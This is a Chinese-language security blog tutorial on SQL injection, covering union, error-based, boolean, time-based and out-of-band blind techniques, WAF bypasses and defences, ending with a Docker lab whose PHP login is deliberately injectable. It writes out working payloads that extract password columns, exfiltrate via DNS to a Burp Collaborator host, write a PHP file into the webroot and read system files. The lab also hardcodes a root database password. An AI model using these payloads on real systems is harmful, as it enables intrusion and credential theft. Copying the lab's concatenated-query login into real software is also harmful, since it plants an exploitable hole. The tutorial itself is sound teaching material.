[網站漏洞] 001 SQL injection 與自建 LAB

飛飛 | 2022-03-24

本篇文章介紹網站漏洞 SQL injection,先認識 SQL 查詢語言,介紹注入類型:如字串型、數字型、Union 型、blind 型,最後完成一個 SQLi LAB。

簡介 SQL 語法

「第一次接觸 SQL 語法的時候是攻擊資料庫的時候。」
不知道有多少人有這種經驗,第一次接觸 SQL 居然是這種情況,
首先我們要先知道 SQL 是什麼,
SQL 就是資料庫當中用來查詢資料的語言,
所謂資料庫就是存放資料的地方。

所謂資料庫的結構:

  • 資料庫名稱 > 資料表名稱 > 資料欄位名稱 > 資料
    • database > table > column > data
      • 資料庫結構

常見的 SQL injection 類型

  • 查詢隱藏的數據
    • 修改 SQL 語法來查詢資料庫的其他資料。
  • 影響應用程式邏輯
    • 修改 SQL 語法來影響應用程式的邏輯。
  • UNION 攻擊
    • 修改 SQL 語法來查詢其他資料庫表的資料。
  • 檢查資料庫
    • 修改 SQL 語法來查詢資料庫版本與架構。
  • 盲SQL注入
    • 修改 SQL與法但結果不會直接回傳在頁面。

查詢隱藏的資料

查詢隱藏的資料

假設一個購物商場透過 URL 對伺服器請求,查詢類別為 Gifts

https://blog.feifei.tw/products?category=Gifts

參數 category 的內容會傳到後端並進行 SQL語法的查詢

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

此 SQL 語法的內容為

  1. 選擇所有欄位名稱
  2. 從資料表 products
  3. category 欄位為 Gifts
  4. released 發布狀態為 1 (已發布)

SQL 註解為 --

我們可以嘗試將 AND released = 1 透過 -- 註解

https://blog.feifei.tw/products?category=Gifts'+OR+1=1--

  • +在網址列為 %20 表示空白的意思

SQL語法的查詢

SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

不同資料庫的註解方法
不同資料庫的註解方法

影響應用程式邏輯

SQL injection

  • 假設一個可以利用帳號密碼登入的系統,輸入帳號密碼後 SQL 語句

    SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

SELECT * FROM users WHERE username = 'administrator'--' AND password = ''

UNION 攻擊

小範例

SELECT name, description FROM products WHERE category = 'Gifts'

' UNION SELECT username, password FROM user --

union 這個指令可以執行多個額外的 select 查詢

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

union 的兩個關鍵

  1. 每個查詢要回傳相同數量的資料列
  2. 每個資料列的資料型態在查詢之間必須符合

union 必須先確認以下兩點

  1. 原始查詢回傳多少資料列
  2. 從原始查詢回傳的哪幾列具有適合的資料型態,以保存注入查詢的結果

確定SQL注入UNION攻擊所需的列數

  1. 利用 ORDER BY 直到發生錯誤
    • ' ORDER BY 1--
    • ' ORDER BY 2--
    • ' ORDER BY 3--

    ☘ Order by [欄位第幾列] 進行排列

  2. 利用 UNION SELECT 直到發生錯誤

    • ' UNION SELECT NULL--
    • ' UNION SELECT NULL,NULL--
    • ' UNION SELECT NULL,NULL,NULL--

    利用 NULL 的原因為可轉換成每種常用的資料型態

確認欄位型態

  • 假設有四個列數,如果該欄位無法轉換成 int 會噴錯,如果沒有噴錯表示該欄位為字串 ( String)
    • ' UNION SELECT 'a',NULL,NULL,NULL--
    • ' UNION SELECT NULL,'a',NULL,NULL--
    • ' UNION SELECT NULL,NULL,'a',NULL--
    • ' UNION SELECT NULL,NULL,NULL,'a'--
    • 通常是 甲骨文 MSSQL 要猜
    • LAB 連結

跨表搜尋

  • 已知表 users 存在 username , password 欄位
    • 可利用 ' union SELECT username, password from users --
    • LAB 連結

在單個列中檢索多個值

  • 先找有幾個列數
  • 可以透過字串串接的方式利用 ||
    • ' UNION SELECT username || '~' || password FROM users --
    • 結果如下
      ...
      administrator~s3cure
      wiener~peter
      carlos~montoya
      ...
      
    • LAB連結
    • MYSQL 的空格要注意繞 WAF 要注意

檢查資料庫

查詢資料庫類型和版本

資料庫系統軟體分成很多類型,每一種查詢的方法都不一樣

常見的資料庫類型:Microsoft, MySQL, Oracle, PostgreSQL

不同資料庫的查詢資料庫版本方法

  • LAB連結( Oracle )
    • 記得 Oracle 版本要用 banner 才能撈到資料
    • ' UNION SELECT BANNER,NULL FROM v$version--
  • LAB連結( Microsoft, MySQL )
    • 在網址列的時候 -- 這個註解要空白可是會被吃掉
    • ' UNION SELECT @@version, NULL -- #
  • DUAL 空表 (Oracle,MSSQL,MYSQL)
    • select * from DUAL
    • Oracle 必須要

列出資料庫裡面的內容



  • ★★★★★ MYSQL , MSSQL 適用

    在 MySQL 當中有一個存放資料庫中繼資料的地方 information_schema
    通常壞人會來透過 SQLi 的弱點來這裡取得資料庫名稱、資料表名稱和欄位名稱,進而竊取到敏感的資料與中繼資料的地方。

    • schema_name 資料庫的名稱
      • 位於 information_schema.schemata
    • table_name 資料表的名稱
      • 位於 information_schema.tables
      • table_schema 這個欄位就相對於 schema_name
    • column_name 資料欄位名稱
      • 位於 information_schema.columns
    • 整理連續攻擊的招式
      • SELECT schema_name FROM information_schema.schemata
        • 會找到資料庫名稱的列表
        • 在 information_schema.schemata 找到 schema_name
      • SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱'
        • 會找到資料表名稱的列表
        • 在 information_schema.tables 中的 table_schema 找到 table_name
      • SELECT column_name FROM information_schema.columns WHERE table_name='資料表名稱'
        • 會找到欄位名稱的列表
        • 在 information_schema.columns 中的 table_name 找到 column_name
      • SELECT 欄位名稱 FROM 資料庫名稱.資料表名稱
        • 會找到資料列表
        • 如果在同一個資料庫就不用寫資料庫名稱

    ☘ 也可以直接 SELECT table_name FROM information_schema.tables 找所有的資料表名稱(但是會因為資料表名稱太多會找不到想要的),然後再找欄位最後找到資料

    • LAB 連結
      • 要找到存帳號密碼的資料表名稱,與帳號密碼欄位名稱
  • ★★★★★ ORACLE 適用

不同資料庫的查詢中繼資料的方法

盲 SQL 注入 ( Blind SQL injection )

何謂盲 SQL 注入

當網站有 SQL injection 漏洞,但 HTTP 回應不包含相關 SQL 查詢的結果或任何資料庫錯誤的詳細訊息時,就會出現盲 SQL 注入。而現實世界中有 SQLI injection 的漏洞地方,通常不會有如同前面的 LAB 回傳想要的資料或是有 SQL 錯誤訊息。

由於存在盲 SQL 注入漏洞,許多技術(例如UNION攻擊)無效,因為它們依賴於能夠在網站的回應中查看注入查詢的結果。仍然有可能利用盲目SQL注入來存取未經授權的資料,但是必須使用不同的技術。

通過觸發條件回應來利用盲SQL注入



不同資料庫的字串切割的方法

舉個 ? :

有一個透過 Cookie 來收集有關使用者使用狀況的網站。

Cookie:TrackingId = asdfghjk123456

當伺服器收到 TrackingId 時,會從對應記錄中的 TrackedUsers ,查詢是否為已知使用者,但是查詢結果並不會回傳給使用者,但是仍可經由前端頁面顯示資料不同,推測查詢結果,因此遇到該情況需要仔細觀察不同

假設該網站當查詢結果為已知使用者時,於前端頁面會顯示「Welcome back」。

那以下就舉一個測試差異來判斷是否有弱點:

  • 測試1:

    TrackingId = x' UNION SELECT 'a' WHERE 1=1--

    因 1 等於 1,會回傳 true,因此可於前端看到「Welcome back」。

  • 測試2:

    TrackingId = x' UNION SELECT 'a' WHERE 1=2--

    因 1 不等於 2,會回傳 false,因此無法於前端看到「Welcome back」。

透過相同方式測試帳號 Administrator 是否存在

  • TrackingId = x' UNION SELECT 'a' FROM users WHERE username='administrator'--

那確定該參數有弱點時,當有帳號時就可以利用於測試密碼

當已知登入帳號時,可以藉由回傳之 true 或 false 將一個字元一個字元的將完整的密碼測試出來。這裡的例子就要搭配函數 SUBTRING (部分類型的資料庫中函數名為 SUBSTR )

  • TrackingId = x' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm' --

當密碼的第一個位元為「s」時,因 ascii 大於 m ,因此會顯示 true,因此可於前端看到「Welcome back」。

  • TrackingId = x' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't' --

當密碼的第一個位元為「s」時,因 ascii 小於 t ,因此會顯示 false,因此無法於前端看到「Welcome back」。

結合上述兩個測試,就可以進行最後一個測試:

  • TrackingId = x' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's' --

當回傳為true時(可以看到Welcome back),確定密碼的第一個字元為「s」,以此類推測試第二個位元(SUBSTRING(Password, 2, 1))。

通過觸發SQL錯誤來誘導條件回應


⚡ 前一個例子是前端會因查詢結果透漏一些訊息差異來讓使用者知道是否有查詢成功,但假設今天的情況是不會有差異呢?

這時候就要藉由輸入一些有條件( case )的差異,以布林條件的不同來影響 SQL 的回傳誘發產生資料庫錯誤訊息( "Internal Server Error" )。

以前一個例子相同假設存取網站之 Cookie 可以發現傳送參數 TrackingId 給伺服器:

  • TrackingId = x'UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--

以此例子因 1不等於2 則執行 NULL,不造成任何錯誤。

  • TrackingId = x'UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--

但該例子因 1 等於 1 所以執行 1/0 ,又因 1/0 會導致資料庫產生錯誤訊息,因而可以使用此差異來判斷注入的條件是否為true。假設我們將該弱點用於已知長帳號 Administrator,預測試出完整密碼上,測試流程一樣也是一個字元一個字元的密碼測試。

  • TrackingId = x'union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--
  • lab連結

Boolean Based SQL Injection

如果打 Sqli 的時候,不會出現資料,但是會出現不存在或是噴錯或是全空白的情形
你可以很明確的看出來你打的弱點有正確跟錯誤的頁面
這時候你可以一些方法來檢測

  • 利用二分搜尋法找 ascii 的範圍
    • 假設猜測資料庫的版本為5
      • 輸入欄位 0' and substring(version(),1,1)=5--
      • SQL 於後台查詢
      SELECT * FROM name WHERE ID='0' and substring(version(), 1,1)=5-- ' LIMIT 0,1;
      
      • 沒資料輸出
    • 猜測主版本為 6
      • 輸入欄位 0' and substring(version(),1,1)=6--
      • SQL 於後台查詢
      SELECT * FROM name WHERE ID='0' and substring(version(), 1,1)=6-- ' LIMIT 0,1;
      
      • 輸入 name: user
      • 可以得知版本為 6
  • 透過這種方式去進行猜測

通過觸發時間延遲來利用盲目SQL注入

⚡ 前一個例子透過錯誤條件才達到目的,假設今天網站工程師有處理資料庫的錯誤訊息,讓我們輸入的條件無法達到目的。

那我們可以透過 delays 來查看輸入的條件是否服務:

以 Microsoft SQL Server 為例:

  • '; IF (1=2) WAITFOR DELAY '0:0:10'--

因為不符合,所以不會延遲,可以透過回應時間來判別。

  • '; IF (1=1) WAITFOR DELAY '0:0:10'--

因為符合,所以會觸發延遲。

透過延遲來找尋密碼

  • '; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
  • LAB連結

☘SQL有很多觸發時間延遲的方法,也取決於不同類型的資料庫。

使用 out-of-band(OAST)技術利用盲SQL注入

? 假設網站執行相同的 SQL 查詢,但是異步進行,網站繼續在原始線程中處理使用者的請求,並使用另一個線程使用追蹤 cookie 執行 SQL 查詢。

該查詢仍然容易受到 SQL 注入的攻擊,但是到目前為止,以上的弱點可能都沒有用❌:網站的回應不取決於查詢是否回傳任何數據,資料庫是否發生錯誤或執行查詢所花費的時間。

可以透過觸發與弱點網站的 out-of-band 交互來利用 SQL injection。

如前所述,可以根據注入的條件條件地觸發這些操作,以一次推斷一位資料。

或是可以直接在網絡交互本身中取得敏感資料。

許多網絡協定都可以使用,但是最有效的通常是DNS(域名服務)。因為很多網站的環境都允許DNS查詢自由發出,這個功能它們對於測試系統的正常運行至關重要。

使用帶外技術的最簡單,最可靠的方法是使用Burp Collaborator

一台burpsuit 提供的功能,提供一台伺服器,提供各種網絡服務(包括 DNS)的自定義實現,並允許您檢測由於將單個有效負載發送給易受攻擊的應用程序而導致何時發生網絡交互。Burp Suite Professional內置對Burp Collaborator的支持,無需進行設定。

觸發DNS查詢的技術與所使用的資料庫類型高度相關。在Microsoft SQL Server上,可以使用類似以下的輸入來在指定域上引起DNS查找:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

這將導致資料庫對以下域執行查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

透過 DNS來偷走數據

DNS原理
首先使用者通過自己架設的DNS伺服器查詢域名,如果沒查詢到,就向上一層的DNS伺服器查詢,上一層的DNS伺服器回傳查詢到的DNS伺服器的地址,然後向 DNS 伺服器查詢子域名,最終回傳子域名的IP地址

https://www.tarlogic.com/en/blog/arecibo-exfiltration-tool/

http://requestbin.net/dns

如何防止盲SQL注入攻擊

如何檢測SQL注入漏洞

  • 輸入單引號字元 ' 並找錯誤或其他異常。
  • 輸入一些特定的 SQL 語法,以評估入口點的基礎(原始)值和其他值,並比較網站回應中的差異。
  • 輸入布林條件(例如 OR 1 = 1和 OR 1 = 2),並比較網站回應中的差異。
  • 輸入只在 SQL 查詢中執行時觸發時間延遲的有效 payload ,並比較回應時間的差異。
  • 輸入只在 SQL 查詢中執行時觸發帶外網絡交互的OAST有效 payload (OAST payloads designed to trigger an out-of-band network interaction),並監視所有結果影響。

SQL注入查詢的不同部分

  • 大部分弱點都在 SELECT 查詢中的 WHERE 條件
  • 其他地方也會出現弱點:
    • 在 UPDATE 語法中,更新值或是 WHERE 子句中。
    • 在 INSERT 語法中,,插入新的值。
    • 在 SELECT 語法中,,在 table 名稱或 column 名稱。
    • 在 SELECT 語法中,在 ORDER BY 子句中。

第二階段 SQL 注入

  • 第一階段 SQL 注入弱點在「使用者輸入」的地方後直接反應
  • 第二階段 SQL 注入弱點
    • 使用者輸入 → 不會有漏洞/無反應 → 儲存進入資料庫
    • 網站其他功能 → 信任已經儲存資料庫的字串 → 造成漏洞

資料庫特定因素

  • 主流資料庫核心功能可能相同方法實現
  • 有些差異必須注意
    • 字串相接方法
    • 註解
    • 批次或堆疊查詢
    • 平台特地 API
    • 錯誤訊息

如何防止SQL注入

  • 不要使用 SQL 語法字串相接
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
  • 使用參數化查詢(欲處理語法)
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();

組合技能 SQL Injection – RCE and LFI

  • 寫檔案
    • Using union
      • 1 union select 1,2,3,4,5,"<? phpinfo(); ?>" into outfile "/var/www/html/test.php"
    • no union
      • 1 into outfile '/var/www/html/test.php" fields terminated by "<? phpinfo(); ?>"
  • 讀取檔案
    • union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/hosts"),6

SQLi Bypass WAF

  • owasp
    • 空白繞過的方法
      • /?id=1+un/**/ion+sel/**/ect+1,2,3--
      • +UnIOn%0d%0aSeleCt%0d%0a
      • /?id=(1)or(0x50=0x50)
    • 引號
      • concat(0x223e,@@version)

推薦文章

自製環境

  • server 資料夾
    • config.php 用來跟資料庫連線
      <?php
      $db_server = "dbtesst";
      $db_user = "root";
      $db_password = "AYgSMEucvEhpKzkchF5hRgd5vhnDyexY";
      $db_name = "test";
      $pdo = new PDO("mysql:host=$db_server;dbname=$db_name;charset=utf8mb4",$db_user,$db_password);
      ?>
    • index.php 登入口
      <form method="POST" action="login.php">
      
          <input id="username" placeholder="Username" required="" autofocus="" type="text" name="username">
          <input id="password" placeholder="Password" required="" type="password" name="password">
          <button  type="submit">登入</button>
      </form>
      
    • login.php 登入邏輯
      <?php
      $flag = "CTF{Meowmeow}";
      if( !isset($_POST['username']) || !isset($_POST['password']) || $_POST['username']=="" || $_POST['password']=="" ){
          header("Location: index.php");
      }
      $username = $_POST['username'];
      $password = sha1($_POST['password']);
      
      require_once('config.php');
      $sql = "SELECT * FROM users WHERE username = '$username' and password = '$password';";
      $stmt = $pdo->query($sql);
      $success = count($stmt->fetchAll()) > 0;
      
      $text = "";
      $success ? $text = $flag  : $text = "登入失敗";
      echo $text;
      ?>
      
  • db 資料夾
    • db.sql
    SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
    SET time_zone = "+08:00";
    
    CREATE TABLE users (
      id int(11) NOT NULL auto_increment,
      username varchar(64) NOT NULL,
      password varchar(64) NOT NULL,
      PRIMARY KEY (id)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
    
    INSERT INTO users (id, username, password) VALUES ("1", "nuty", "006f9a5cf5441f870b1a8162ae22a224954593fe");
    INSERT INTO users (id, username, password) VALUES ("2", "nqgr", "c15f9bd9f6a3c861d33ec3f9438fcda226b1c60e");
    INSERT INTO users (id, username, password) VALUES ("3", "ombz", "d79cfc4e59227a39f822ddb78df646ba9956921d");
    INSERT INTO users (id, username, password) VALUES ("4", "pgid", "e62729cb639d51be23dc8af9f3a4a3d88f6fc3ff");
    INSERT INTO users (id, username, password) VALUES ("5", "fsfw", "54bab02c812928ce5ab1beb02c95514b87508449");
    
  • docker-compose.yml
    version: "2"
    services:
        web:
            image: php:7-apache
            ports: 
                - "8001:80"
            volumes:
                - ./server:/var/www/html/
            links:
                - db
            networks:
                - default
        db:
            image: mysql:5.7
            environment:
                MYSQL_DATABASE: dbtest
                MYSQL_ROOT_PASSWORD: AYgSMEucvEhpKzkchF5hRgd5vhnDyexY
            volumes:
                - ./db:/docker-entrypoint-initdb.d
                - persistent:/var/lib/mysql
            networks:
                - default